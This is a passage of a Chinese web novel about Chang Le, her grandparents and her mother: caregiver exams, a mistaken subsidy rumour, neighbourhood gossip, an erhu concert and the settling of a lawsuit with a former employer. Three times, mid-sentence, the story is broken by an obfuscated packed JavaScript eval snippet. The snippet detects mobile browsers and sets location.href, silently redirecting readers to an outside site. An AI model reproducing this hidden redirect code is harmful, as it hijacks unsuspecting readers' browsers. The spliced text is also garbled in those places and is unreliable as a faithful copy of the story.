每天放学回家后,常乐还要拿姥爷练手。一开始,姥爷百般抗拒,直到有次,他因为便秘,在马桶上熬了半个小时,累得满头大汗,满脸通红,腿麻了站不起来,只得给姥姥打电话求救。 不一会儿,常乐和姥姥同时出现在洗手间门口。 常乐戴着一次性手套,手持开塞露,目光坚毅,对准堵塞口,手法快准狠。 她还安慰道:“姥爷,你不要有心理压力,人老了总是会面临这些问题,很正常的。” 姥姥弯下腰,凑近观摩她的操作,附和道:“对啊,有什么不好意思的,人老了就是需要别人照顾,跟小孩一样,需要人把屎把尿。你见过哪个小孩会不好意思的?” 她似乎想到了什么有趣的事,笑着对常乐说:“你小时候拉不出屎,急得哇哇大哭,我们用了各种方法,用手抠,用猪油,用铁丝,都弄不出来。最后,还是你姥爷想了个法子,把肥皂削得细细的,塞进去……” “啊???”常乐顿时呆住了,耳根开始发热,“我吗?什么时候的事,我怎么没印象?” “那时候你还小嘛,刚上幼儿园,不敢在学校拉屎,一直憋着,憋到后来越来越严重。” 常乐:“……” 此刻,洗手间里又多了一个尴尬的人。 静默良久,姥爷撅着屁股,抬起手驱赶她们:“我来感觉了,赶紧出去,把门带上!” -- 十天的培训很快结束,常乐跟同学们一起参加了考试,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198743|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午笔试下午实操。由于实战经验丰富,她完成得很顺利,自我感觉还不错,估计应该能过。 于是,出了考场,她就向班长大姨打听:“咱们拿了证,去哪儿领补贴啊?” “补贴?”大姨瞪大眼,仿佛彩票中奖,满脸兴奋,“还有补贴呢?多少钱啊?” 常乐一脸困惑:“一千块呢,你没听说吗?” “没有啊。还有这种好事呢?” 其它同学听到两人的对话,纷纷围了过来,平时不善言谈的人都七嘴八舌地讨论起来:“一千块,真的吗?”“上哪儿领啊?”“老师没说过这事啊。”“咱们去报名的地方问问。”…… 于是,一帮人满面红光、轰轰烈烈地跨进人社局大厅,大姨趴在报名的柜台上,扯着嗓门问:“我们考完证,上哪儿领钱啊?” 里头的工作人员也是一脸懵:“领什么钱?你们拿到证,自己去找工作领工资啊。” “不是有一千块的补贴吗?”另一个人嚷嚷道,“这是给我们的福利。” 工作人员解释道:“免费培训就是福利啊。” 从这段驴唇不对马嘴的对话中,常乐隐约察觉到不对劲,急忙站出来打圆场:“不好意思啊,可能是我听错了,我回去再问问。咱们先出去吧,别影响人家工作。” 出了大厅,大姨组织大家建了个群,满怀期待地叮嘱常乐:“妹妹啊,有消息了一定要及时告诉我们啊,我怀疑这个工作人员在装傻,想私吞我们的补贴。” “……”常乐觉得自己好像捅了个大篓子,又不知该怎么解释,只好硬着头皮答应:“行,我去打听打听。” 一回到家,常乐就迫不及待地冲上二楼,急切地拍打着林文娟的房门。 细细的二胡声停了,林文娟拉开门,手上还举着琴弓。 “干嘛?”她抬起手,擦拭着常乐的额头,“看你跑得一头汗,有事吗?” “妈,你之前说拿到证有补贴,是听谁说的?” 林文娟似乎明白了什么,似笑非笑道:“你不是今天才考吗?这么快就出成绩了?” “没出,但应该能过。”常乐急切地说,“你说你有个同学在人社局,能不能帮我问问,现在还有没有补贴?” “放心啦,肯定有。”林文娟回到房间,放下琴弓,从桌上拿起手机,点了几下。 几秒钟后,常乐听到一声“叮——” 她从书包里掏出手机,看到一条新的微信。点开一看,是林文娟发的,给她转账一千。 常乐:“………………” 原来,是这种,补贴啊。 林文娟笑眯眯地说:“我只是说拿到证有补贴,又没说是人社局发的。我发的也算吧?” 她拍拍常乐的脸颊,见她双目无神,一脸呆滞,问:“咋啦?高兴傻了?” 常乐简直欲哭无泪。 “妈,咱们都是一家人,左手倒右手,有这个必要吗?” 林文娟收起笑容,哼嗤一声。 “以前给你发工资的时候,怎么没见你有这种觉悟呢?不想要就别点收款,明天自动退还给我。” “我要!只是……” 常乐看着刚建的微信群里,三十几个成员你一言我一语,讨论得热火朝天,有人说自家条件很困难,十分需要这笔钱,有人说难怪工作人员一身名牌,肯定是贪污来的,还有人提议大家挑个良辰吉日,一起去纪.委举报…… 常乐脑袋都要炸了。 她打字的手都在哆嗦:【各位同学,真的很抱歉!人社局没有这个补贴政策,是我没听清楚,以讹传讹了。咱们能享受免费的培训,学习专业的护理技能,已经很幸运了。祝愿大家都能找到满意的工作,再次向大家致歉!】 群里霎时沉寂下来。 几分钟后,常乐收到一条好友申请,点开一看,是那位大姨。 常乐忐忑地点了通过。 大姨劈头盖脸就问:【你是不是被收买了?】 常乐:“………………” 她抬起头,双眼直勾勾地盯着林文娟,盯得她头皮发麻。 “干嘛?证也考了,钱也有了,你还想要什么?” “林女士。”常乐举起手机,面无表情地说,“麻烦你跟这三十几个姐妹解释一下。” 85. 85 不知不觉,常乐已经在家待了半个月。她感受到了一种久违的平静。 她将抖音切换成自己的账号,远离网络上那些乌烟瘴气,每天看看帅哥美女,刷刷搞笑视频,日子过得轻松而惬意。 这天早上,常乐推着姥爷去小区遛弯,遇上了一帮老棋友。 有人关切地询问姥爷的身体状况,有人好奇地打听他这几个月都去哪儿了,还有的人,问的问题简直惊悚:“老林,听说你在外面住上了大别墅,还找了个相好的?还有私生子了?” 姥爷和常乐都吓了一跳。 常乐很快反应过来:“王大爷,你也关注了我姥爷的抖音?那些都是在演戏,别信。” “对对对,那是在拍短视频。”姥爷急赤白脸地解释道,“我都八十多了,怎么生得出孩子?那些都是瞎编的。” 王大爷似乎懂了,又没全懂:“对嘛,那不是你的儿子,是司机小伙儿的。我看你还被人打了,没事吧?” “能没事儿吗?”另一个大爷同情地说,“这不都坐上轮椅了吗?” 姥爷结结巴巴地说:“我这是、是自己摔了一跤,把脚崴了……我都说了,那些都是演戏,不是真的。” 王大爷叹了口气,深有体会:“我懂,都是逢场作戏。露水情缘嘛,能有几个真心?” 姥爷怒斥:“你懂个屁!” 当天夜里,小区情报站就传出一条劲爆大瓜:某林姓老头在外面找了个相好的,还生了个私生子,结果这孩子不是他的,那个情妇和奸夫还把他揍了一顿。 又有人传言,不是情妇打的,是老头的老伴儿突然找上门,一怒之下,把他的腿打断了。 于是,第二天,姥姥出门买菜的时候,成功收获了所有路人的注目礼,这些目光,或好奇,或同情,或敬佩,或同仇敌忾。 在卖活禽的小摊前,孙婆婆一见到姥姥就两眼发光,一把攥住她的胳膊,语气激动中又有几分埋怨:“原来你前阵子去杭城是为了这事儿啊?怎么不叫我一起去呢?还是不是好姐妹了?” 姥姥不明所以:“你去干嘛?我家老头子生病了,我去照顾了几天。” “哎哟,跟我有什么不能说的?”孙婆婆冲她挤眉弄眼,“你见到那个女的了吗?长得怎么样?听说她把你家老头子绿了?绿得好!” 姥姥听得稀里糊涂的,“什么女的绿的,一大清早的,说什么胡话呢?” 她扭过头,指着笼子里的一只鸡,对小贩说:“我要这只,给我称称。” 孙婆婆气愤道:“你还想着给那老东西补身体呢?” “多喝鸡汤才能好得快啊。”姥姥踮起脚尖,东张西望,“我再去买点板栗,这个季节板栗炖鸡最好吃。” “你……唉!”孙婆婆对这个恋爱脑闺蜜简直无力吐槽。 翠姨倒是分得清短视频和现实的差别,但在小区里碰到常乐时,她也会拉着她问个不停: “哎,乐乐,你去杭城见到我家俊臻了吗?” 常乐不知道周俊臻有没有跟家人坦白自己失业又卖房的事,只能斟酌着回答:“见到了,他挺好的。” “他那房子你去过了吧?地段还挺好的吧?” “嗯嗯,挺好的。” “他那单位就在旁边呢,你去参观了吗?” “没呢,我们进不去……”常乐已经确定周俊臻还在瞒着他妈,更不敢多言了。 翠姨安静片刻,手还攥着她不放,眼珠子滴溜着,上下打量着她,忽然压低声音,神秘兮兮地问:“听说你跟易诚同居了?” “!!!”常乐大惊失色,声音陡然高了八度,“翠姨,法治社会,可不敢乱造谣啊!我住公司宿舍,他住青旅,平时都不怎么见面的,怎么可能同居?我们清白得很!” “那为什么你去杭城,他也去,你回来,他也跟着回来?” “他、他、他去找工作呗,没找到合适的就回来了,这个跟我可没关系啊……” 不管常乐怎么解释,反正,当天晚上,在小区的纳凉区,又传开了一条喜讯:某闺女和某小子有情人终成眷属啦! 有人好奇:他俩不是早就谈了吗? 有人辟谣:没有,之前只是在暧昧,被家里人棒打鸳鸯,后来两人一起私奔去了杭城,家里人也没办法,只能同意了。 有人试图把近期的两大热瓜联系起来:对了,林老头坐轮椅,该不会是被他们气的吧? 有人给他科普:不是,林老头在外头乱搞,被他老伴儿发现了,打断了腿! 众人倒吸一口冷气,纳凉的效果极佳。 谣言很快传到了当事人耳朵里,两人都没当回事。 毕竟姥爷的大瓜已经把大伙儿喂饱了,他俩撒的这点小糖,嗑几口就没了,辟不辟谣已经不重要了。 这天,常乐开车送林文娟去培训班,一路上,林文娟面色凝重,时不时偷瞄她,几次欲言又止。 “闺女,你跟妈说实话。”在一个十字路口等红灯时,林文娟终于憋不住了,扭头盯着常乐,“在杭城的时候,你跟易诚没有……越界吧?” 常乐斜瞟她一眼,故意装傻:“越什么界?听不懂。” 林文娟急了:“就是,那个……你俩没干啥吧?” 常乐朝天翻了个白眼,无语至极。 “妈,你也看过了我的宿舍,就那个条件,能干成啥事?他住的是青旅,一个房间七八个人,臭烘烘的,更不可能了。” “那……没出去开房吧?” 常乐深吸一口气,又重重地呼出。 “妈,你放心,那种工作压力下,我完全没有世俗的欲望。再多干几个月,我估计就要绝经了。要不怎么说大城市生育率低呢?每天忙到深更半夜才回家,谁还有心思搞黄色?你别瞎操心了。” 林文娟稍稍放心,又开始为闺女的未来担忧。 万一真的英年绝经,那可咋办? “你俩要是真的谈了,也是件好事。”林文娟观察着她的脸色,试探地说,“不过,安全起见,最好不要婚前那啥……你懂吧?” 常乐抠了抠耳朵,决定让本就尴尬的气氛更加尴尬。 “妈,说起这事,我正好想问你。我见过你跟我爸的结婚证,是那年四月领的证吧?半年之后,我出生了。这个时间不对吧?” 车里一片静默。 林文娟干笑两声:“哦,这事儿啊,你不说我都忘了……那时候条件差,发不出工资,民政局没人上班。我们早就办酒了,拖了大半年才领到证。你说这事闹得,呵呵……对了,”她迅速岔开话题,“明天下午我有演出,在万达一楼中庭。你把姥姥姥爷都带过来吧。” “啥?”常乐的注意力成功被转移,“哇,你出息了啊,都接商演了。” “不算商演,是培训班组织的活动,钟老师租了万达的场地,那地方人多,又是周末,正好可以给他们培训班宣传宣传,多拉点学生。” 常乐听明白了,拍着胸脯给她保证:“行,明天我拉一车人去,给你当后援团。” 第二天,林文娟早早去商场排练和做妆造。小车只能坐下五人,所以,除了常建民和姥姥姥爷,常乐只叫来了易诚。 广场一楼的圆形中庭已经搭建好了舞台,围观的人群渐渐聚集。丝竹民乐培训班的学员们都在后台等候着。 常乐绕到后台,四处寻找林文娟,忽然看到钟煜正在弯腰调试音响设备。 他身穿一袭灰色长衫,戴着半框眼镜,头发向后捋成三七分,颇有几分民国时期进步青年的味道。 “嘿,钟老师。”常乐主动上前,跟他打招呼。 钟煜直起上身,看到她,微微一愣,旋即绽开笑容。 “常乐,好久不见啊。听说你去杭城工作了?” 常乐不好意思地笑笑,“转了一圈,发现还是家里好,所以又回来了。” 钟煜正要再说几句,一抬眼,发现易诚正在人群中发传单。他脸色一变,大步走上前。 “钟老师,好久不见。”易诚也看到了他,面不改色地打了个招呼,还从背包里掏出一沓传单,硬塞到他手里,“正好,我的轮滑班也在招新。” 钟煜看着手中的传单,愣住了,“所以,你是想……” 易诚大言不惭地说:“咱们的目标客户是一致的,培训内容也不冲突,文体不分家,可以合作共赢嘛。你可以把这些传单放在你们店里,让感兴趣的学员自取。” 钟煜挑了挑眉,说:“我可以帮你宣传,不过,今天是我们民乐班的主场,你在这儿发传单,不太合适吧?” “你放心,正式演出的时候,我绝不抢你的戏。”顿了顿,易诚朝钟煜伸出手,“对了,你们培训班有传单吗?可以放在我的店里,让我的学员也了解一下。” “传单……”钟煜这才反应过来,“哦,有的有的,你等等。” 他转身朝后台跑去,不一会儿,手上拿着一沓花花绿绿的东西过来了。 易诚接过来,卷成一团,塞进包里。 两人郑重其事地握了握手。 常乐站在钟煜身后,冲易诚眨眼一笑,竖起两个大拇指。 演出即将开始,小学员们打扮得花枝招展,排着队登上舞台。台上唯二的成年人——林文娟和钟煜分别坐镇舞台两端,抱着二胡,抬手拉弓,派头十足。 为了让坐在轮椅上的姥爷能看到演出,常乐一家人挤到了最前面,排成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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电话那天,常悦的声音很急切:“我马上要开始直播,就长话短说了。我刚刚听说,你的公司今天出了个大瓜。” “我的公司?”常乐愣了几秒才反应过来,“哦,明鑫文化啊,怎么了?” “有个女的去你们公司,甩了萱萱一巴掌。”常悦的声音难掩兴奋,“你知道是谁吗?刘子明的老婆,之前一直在老家带孩子,不知道从哪儿听说了萱萱和他老公的事,一气之下就来公司撕逼了。” 常乐倏地瞪大眼,“刘子明有老婆啊?” “嗯呐。嗐,这种事儿挺常见的,我们老板也有老婆,不还是养了一堆小三小四小五吗?这些男的可会伪装了。” 缓了缓,常悦继续说:“对了,那女的还拍了视频,走之前还威胁说要曝光这对狗男女,看来小美萱要塌房咯。” 常乐忍不住幸灾乐祸,又不敢高兴得太早:“小美萱是公司最赚钱的网红,刘子明肯定会想方设法保住她吧?” 常悦呵笑一声,“刘子明最近忙得焦头烂额,旗下的网红一个接一个地出事。先是那个大胃王杨哥,每次探店都是只吃几口,就把菜全倒了,这次被一个路人拍到发到网上了,大家都在骂他浪费粮食。然后是那个小孕妇,被老同学曝光,说她连初中都没读完就去混社会了,怎么可能上大学?还有小孕妇的老公,实际上早就有老婆孩子了,那些视频都是演的……” 常悦越说越兴奋,说得上气不接下气,最后总结道:“总之,明鑫文化,危。” “哈哈哈哈哈!”常乐仰天大笑,“老天有眼啊!” 是哪位好心菩萨天降正义啊?她一定要提着果篮登门拜谢,连嗑十个响头。 挂断电话后,常乐不顾旁人惊讶的目光,兴奋地跳起了大猩猩舞,高举胳膊,晃动四肢,扭臀,摇胯,甩头,原地转圈圈,直到—— 易诚的脸出现在她的视野里。 他双目圆瞪,嘴巴大张,脸上除了震惊外,还有一丝对她诡异的返祖行为的害怕。 常乐丝毫不觉得尴尬,甚至还冲他招招手,唱道:“来啊!快活呀!反正有大把时光!” 易诚更害怕了,掏出手机,寻思是该先报警还是先叫救护车。 常乐跑到他面前,兴高采烈地说:“我们公司要完蛋啦!哈哈哈哈!” 易诚放下手机,不解地问:“你们公司要完蛋,你高兴什么?” 常乐一边蹦跶一边说:“这是天大的喜事啊,我不该高兴吗?” 易诚都快被她晃晕了。 他揉了揉眉心,冷静地提醒她:“你忘了,你的前公司就跑路了,留下一屁股烂账。万一这家也跑路了,你这官司还怎么打?” 常乐笑容一僵,如同气球被扎了一针,瞬间蔫了。 对啊!她跟公司还有官司没打呢! 万一这倒霉公司突然破产或者跑路,她找谁要钱啊? 86. 86 在易诚的提醒下,常乐紧急给律师打了个电话。 律师听她说完,不急不慢地说:“公司跑路之前有很多征兆,不是那么容易的事。我之前查过,明鑫文化传媒的经营状况还可以,短时间内应该不会破产。” 常乐仍不放心:“那万一呢?” 真不是她杞人忧天,只是,她一想到跑路的前公司,就忍不住把事情往最坏的方向去想。 更何况,这种mcn公司主要依靠几个大网红赚钱,网红一塌房,公司立刻树倒猕猴散,这种案例在网上屡见不鲜。 律师沉吟道:“你要是实在不放心,可以申请诉中财产保全。我把申请材料列个清单发给你,你准备好后,邮寄给我。” “行。”常乐迫不及待地说。 律师又说:“但是,申请财产保全需要交保全费,这笔钱你先交,判决出来后,由败诉方承担,你还需要去保险公司购买一份担保函,费用一般是保全金额的百分之一,你可以货比三家……” 这么麻烦?常乐越听越头大。 更麻烦的还在后头:“另外,需要你提供对方的财产线索,比如银行卡账户、房产信息、车辆信息等等。” 常乐都傻眼了:“这我怎么知道?” 律师思索片刻,说:“你的保全金额才十万,提供车辆信息就行。你还记得你老板开的是什么车吗?” 这个常乐记得很清楚:“保时捷。” “什么型号?” “白色的。” “……”律师沉默几秒,继续问,“车牌呢?” “我没留意。” 律师叹了口气,“算了,我还是自己查吧。” 挂断电话,常乐闷闷不乐地蹲在墙角,在手机上搜索诉中财产保全的流程。 易诚蹲在她面前,温声说:“先回去吃饭吧,你爸妈都在等着你呢。” 常乐瘪着嘴,说:“打官司真麻烦,申请财产保全还得花一大笔钱。” “后悔吗?”易诚问,“当初有好几次机会,你能直接拿到这笔钱。现在呢,事情越来越麻烦,就算最后打赢了官司,结果也还是一样。” 好几次机会吗? 常乐陷入了回忆—— 第一次,是萱萱要求她签一份颠倒黑白的合同,把所有的责任都赖到姥爷身上。 第二次,是在那场鸿门宴上,刘老板表示,只要她删除视频,可以当场付钱。 第三次,对方提出诉前调解的条件是她删视频并道歉。 每一次都成功地激起了她的怒火。她果断拒绝,毅然选择那条更难走的路。 现在想想,成年人都会权衡利弊,小孩子才会意气用事。 沉默许久,常乐摇摇头,“不后悔。” 她就是咽不下这口气。 如果成熟的代价是处事圆滑、忍气吞声、黑白不分,那她宁愿当一个无知无畏小孩,即使在现实世界里撞得头破血流,也要争个是非对错。 易诚眼里渐渐泛起笑意。他站起身,摸了摸她的头顶,“不后悔就好,回去吧。” 常乐调整好脸部表情,跟在易诚身后,回到了火锅店。 桌上的菜已经少了一半,她的碗里堆满了烫好的肥牛卷和毛肚,常建民催促道:“赶紧吃,冷了就再涮涮。” 姥姥问:“你俩干嘛去了?” 常乐不想让她担心,便故作轻松道:“常悦给我打电话,说了一堆有的没的。” “没啥大事吧?” “没有,就是在吐槽老板啊、工作啊,我劝了她好半天。”常乐边说边嚼着毛肚,又夹了几根茼蒿,扔到菌汤锅里涮了涮。 她环视一圈,发现桌上少了个人:“我妈呢?” 常建民说:“吃到一半,去做美甲了。” “嗯?”常乐眼睛一亮。她差点忘了,吃火锅还有附赠服务。 她快速把碗里的肉消灭光,又捞起烫好的茼蒿,一边吹气一边往嘴里塞,囫囵吞枣地吃完后,起身说:“我也去。” “啊?”常建民看了一圈桌上的菜,“还没吃完呢。” “你们先吃吧。”常乐正要离桌,忽然瞥见坐在桌角的姥姥,她心念一动,怂恿道:“姥姥,你也去做一个吧。” “我?”姥姥连连摆手,“我都一把年纪了——” “一把年纪怎么了?姥爷还化妆呢,你就不能做美甲了?” 姥爷面露窘色,辩解道:“我那是拍摄需要。” 常乐不管,拽着姥姥的胳膊,试图将她拖出卡座,“走啦走啦,反正是免费的,不做白不做。” “免费的?”姥姥立刻放弃了挣扎,站起身,挽着她的胳膊,“在哪儿做?” 桌上瞬间空了一半。 隔着热气腾腾的白雾,三个男人面面相觑。 -- 晚上,常乐趴在床上,美滋滋地欣赏着自己新做的宝石蓝极光猫眼指甲。 林文娟做的是玫瑰渐变色,姥姥比较保守,做了个裸色指甲,就这,还被姥爷絮叨半天。 她翘起手指,轻点手机屏幕,看了会儿小红书后,又刷了会儿抖音,忽然想起一件正事—— 她可以去视奸明鑫文化旗下的塌房网红啊。 说干就干,常乐兴奋地坐起身,先搜索“大胃王杨哥”,点进他最新一条视频的评论区。 果然,底下全是骂他的,什么“假吃”“捞钱”“浪费粮食”,这些都算比较温和的,还有一些上升到了人身攻击的地步。 对此,杨哥一律不回应,试图装死糊弄过去。 再去搜索“十八岁小孕妇”,常乐这才发现,这个系列的短视频已经停更了,最新一期还是常乐离职前更新的。底下的评论都不堪入目,常乐看得心生不忍,唏嘘不已。 常乐继续搜索“小美萱”,发现她正在直播,评论区是一片风平浪静,看来她的小三身份并没有被曝光。 在十层滤镜的加持下,直播间里的萱萱像个精致的芭比娃娃,脸上白得发光,看不到一丝毛孔,甚至看不到鼻孔。 常乐惋惜地叹了口气,退出直播间。 她躺在床上,翘着腿,心想,也不知那位正宫娘娘打算什么时候对萱萱下手,她还想冲到前线吃瓜呢。 “小西瓜和小冬瓜”这个账号也消停了不少,最近发的几条日常视频都没有打广告,不知是为了避风头,还是广告商都解约了。 总之,视频里一片岁月静好,评论区却吵得不可开交,铁粉们跟路人吵,跟粉转黑吵,跟路转黑吵…… 看了一圈热闹后,常乐又做了很久的心理建设,抱着视死如归的决心,切换到了珍姐的账号。 私信依旧爆满,她紧张地点开,屏住呼吸,从上往下飞快地浏览一遍。 让她意外的是,私信里的脏话含量并不高,大部分网友都是瓜田里上蹿下跳的猹,试图从她这里打探到更多内幕消息: “姐妹,你是公司前员工,肯定知道那个小孕妇的事吧?能不能开个直播讲讲?” “那个阳.痿哥也是你们公司的?我早就觉得他很假了。” “讨厌的人终于被大家发现了,你知道我有多爽吗?” “你怎么不发视频了?是不是拿到赔偿款了?” …… 风向转变得太快,常乐担心说多错多,索性一律不回。 不过,这场风暴的台风眼终于从她和姥爷身上转移了,她总算松了口气。 -- 这几天,常乐忙着整理申请材料,又在律师的推荐下,购买了杭城一家保险公司的担保函。最后,她将所有文件寄给律师。 收到文件的第二天,律师便马不停蹄地赶去法院,提交了诉中财产保全的申请。 一周后,常乐接到了一个电话,是刘子明打来的。 她的心里响起一个声音—— 第四次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210865|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会来了。 刘子明的声音透着浓浓的疲惫:“常乐啊,就为了十万块钱,不至于吧?我那辆车可远远不止这个价啊。” 常乐一听这话就想翻白眼,“那你倒是给钱啊!” 刘子明无奈地说:“我从来没说过不给钱,只是需要你配合一下。这样吧,只要你撤诉,我就转钱,不转我是你孙子。” “刘老板,你搞反了吧?你得先转钱,我才能撤诉啊。” 电话那头,刘子明沉默良久,终于服软:“行吧,我可以打钱,但你得把视频删了。” 常乐:……兜兜转转又绕回来了。 她忍不住嘲讽道:“刘老板,现在有那么多人发视频,每一个你都得花钱摆平吗?那你要大出血喽。” 刘子明强忍着怒气,说:“网上都是跟风黑,过几天就消停了,我犯不着跟那群黑子较劲。倒是你,打这场官司,费时费力还费钱,才是得不偿失。” 常乐嘴硬道:“我乐意,与人斗其乐无穷!” “斗来斗去两败俱伤,何必呢?”刘子明呵笑一声,“我提出的方案,你考虑一下吧。” 挂断电话,常乐盯着手机想了很久。她发现自己没有前几次那么愤怒了。 也许,能控制好情绪,就是走向成熟的第一步吧。 晚饭时,常乐向家人们提起这事。跟她一样,他们也平静了许多,考虑的问题也更加现实,比如—— “开庭前你还得去趟杭城,车票、住宿、吃饭都得花钱,不划算,能和解就和解吧。”姥姥一向能省则省。 “人家老板也挺不容易的,能拉下面子跟你求和,得饶人处且饶人吧。”姥爷对前公司还有感情。 “你的视频在网上挂了那么久,该看到的人都看到了,已经完成了他们的使命。现在删除,也没什么损失。”常建民怕常乐不高兴,急忙补了句:“当然,删不删,得由你来做决定。” 常乐双手托腮,闷闷地说:“我也知道这是最优解,但是,我心里总觉得憋屈,就像是……一个将军在出征前,突然收到敌军送来的投降书,他虽然赢了,但赢得不痛快。” 林文娟被她孩子气的言论给逗笑了:“一个真正的将军,怎么会计较这种小事呢?打仗只是手段,和平才是目的。” 常乐看着桌上的家人们,“所以,你们都希望我和解?” 林文娟伸出手,捏了捏她的脸,认真地说:“我希望你能往前走,不要一直陷在这些纠纷里。毕竟,你的人生还有很多事值得去做。” 深思熟虑了一整天,常乐终于答应了刘子明的提议。 第一步,删除视频。 十分钟后,刘子明就把十万块钱打到了姥爷的账户上。 第二步,撤诉。 常乐给律师打了个电话,律师表示理解。按照事先规定,诉中撤诉,律师费减半,他不用为庭审做准备,倒也乐得轻松。 第三步,把账号还给珍姐。 珍姐拿回账号,又惊又喜:“一个月不到,你就给我涨了三万粉?怎么做到的?” 常乐不好意思地说:“八卦加吵架呗,网友都喜欢看这些。” 一想到珍姐的账号被搅得乌烟瘴气的,她就觉得挺过意不去的,于是提出,想给珍姐一些经济补偿。 珍姐笑呵呵地说:“嗐,咱俩之间还需要谈钱吗?再说了,你早就送了我一个珍贵的礼物。” “什么啊?” “微信发给你了。” 常乐打开微信,看到珍姐发来一段视频:一个小女孩坐在地上,在逗弄一只黑白花色的小狗。小狗扭着肉乎乎的屁股,在她的脚上跳来跳去,逗得女孩咯咯直笑。 常乐认出来了,这是她送给珍姐的小狗,叫柯牧几来着? 算了,不重要了。 她躺在床上,一遍又一遍地看着视频,脸上的笑意越来越浓,连带着睡梦里,都回荡着小女孩快乐的笑声。 87. 87 转眼到了九月初,老年大学迎来了开学季。 这学期,林文娟又跟打了鸡血似的,不知从哪儿搞来了四所学校的课程表,经过一番比对和研究后,决定报十二门课程。 早上出门时,她就像第一天上学的小学生,背着大书包,里面装着保温杯、面包、水果和充电宝,走在小区的林荫道上,兴奋地跟常乐分享自己的课程计划—— “我打算报国画、插花和诗朗诵,手机摄影就不学了,听说那个老师心梗住院了。上次运动会咱们表现太差了,我决定补齐短板,报个门球或乒乓球。二胡我已经出师了,所以我打算学一门新乐器,萨克斯或者单簧管。” 常乐听得头都大了,愁眉苦脸地说:“妈,咱能不能整点高雅艺术?” 小区里有个大爷在自学萨克斯,常乐每次听到,都感觉有一百只尖叫鸡在耳边齐鸣。一想到以后这群尖叫鸡就要住在家里了,她的耳膜已经开始隐隐作痛。 林文娟说:“小区里有个乐团,目前只招这两种乐器,等我学成之后就可以加入了。” 常乐知道劝不动她,只得无奈地说:“那你可得抓紧喽,那个尖叫鸡大爷已经练了大半年了,水平没怎么进步,肺活量倒是杠杠的。” 自家小车就停在树下,常乐绕到驾驶座旁,正要拉开车门,忽然冒出个念头。 她对林文娟说:“妈,你最应该学的是开车啊。” 林文娟弯腰把书包放在副驾上,说:“我会开,只是不敢开。” “所以你得学会克服内心的恐惧啊。”常乐冲她勾勾手,“这样吧,今天你来开,我来指导。试过一次你就会发现,开车其实没有那么难。” “啊?”林文娟神色犹豫,“改天吧……我开得慢,怕耽误时间。” 常乐见招拆招:“今天只是报名,迟点儿也没关系。来嘛来嘛,我在旁边给你保驾护航。” 纠结再三,最终,林文娟还是不情不愿地坐上了驾驶位。她正在研究各种按钮该怎么用,常乐提醒她:“先踩刹车,再按这个启动键,然后——” “我知道。”林文娟打断她,“我在驾校学过,只是好久没开了,得熟悉熟悉。” “行吧。” 常乐安静了没一会儿,见林文娟正探着脑袋四处张望,又忍不住提醒:“往左打方向盘,先出去啊。” “我出得去嘛?”林文娟气呼呼地说,“你看前面那辆车,车屁股跟我挨得这么近,我一动不就撞上了嘛。真是的,这人怎么停的车?” 常乐探头一看,忽然有些心虚。 这是易诚的车。几乎是习惯使然,她现在一回到小区,就到处找易诚的车,见缝插针地挤进去,不是堵在他前面,就是贴在他后面。 昨天也是这样,只是没想到,后面又停了辆车,把她堵得严严实实的。 “这是易诚的车。”常乐掏出手机,翻出易诚的号码,“我让他出来挪一下车。” 林文娟愣了几秒,立刻转变口风:“你是故意的吧?脸都快贴人家屁股上了,这下好了吧?搬石头砸自己的脚。” “……”常乐面无表情地说,“妈,说话文明点。” 什么叫“脸贴人家屁股上了”? 她有这么猥琐吗? 五分钟后,易诚气喘吁吁地赶到了。他似乎是刚从床上爬起来,匆匆洗了把脸,头发凌乱地支棱着,脸上还有凉席留下的印子。 “林姨,早上好。”他微微点头,跟林文娟打招呼,又偷偷瞟了眼常乐,眼里藏着几分窃笑,似乎在说: “呵,你也有今天。” 常乐双臂抱怀,脸撇向一旁,装作没看到。 易诚钻进车里,很快将车驶出停车位,又往前走了一小段路,找了个空车位停了进去。 “可以了,走吧。”常乐催促林文娟。 林文娟目视前方,像背书一样自语道:“先刹车,再点火,挂D挡,松手刹……” 常乐不自觉抓紧了上方的把手。 林文娟往左打方向盘,车头斜着出来,缓缓前进…… 忽然间,一声尖锐的叫声在车底炸响,吓得林文娟猛地踩一脚刹车。 常乐也吓了一跳:“怎么了?” 嚎叫声持续不断,听上去像是狗叫。 常乐急忙推门下车,绕到车前方,什么都没有。 正要趴在地上检查,车底忽然蹿出一条狗,大耳朵甩得飞起,一边撕心裂肺地惨叫着,一边绕着自己的尾巴转圈。 林文娟也下了车,看到这只惨叫的狗,大致猜到了是怎么回事。 她又急又气,指责常乐:“你上车前没有绕车一周吗?驾校里学过的呀。” 常乐:“……” 好像,开车的人,是她吧。 再说了,这条狗当时应该是在车底,正常人谁会趴在地上检查啊? 易诚听到动静,也急匆匆赶来,看到这条狗,很快反应过来。 “这是王哥的狗吧?全小区就他一个人养比格。” 常乐急忙问:“你有他电话吗?” 易诚摇摇头,“我知道他住哪一栋,我去找他。” 易诚说完拔腿就跑,留下常乐和林文娟两人,对着一只哀嚎的狗,惊魂未定,手足无措。 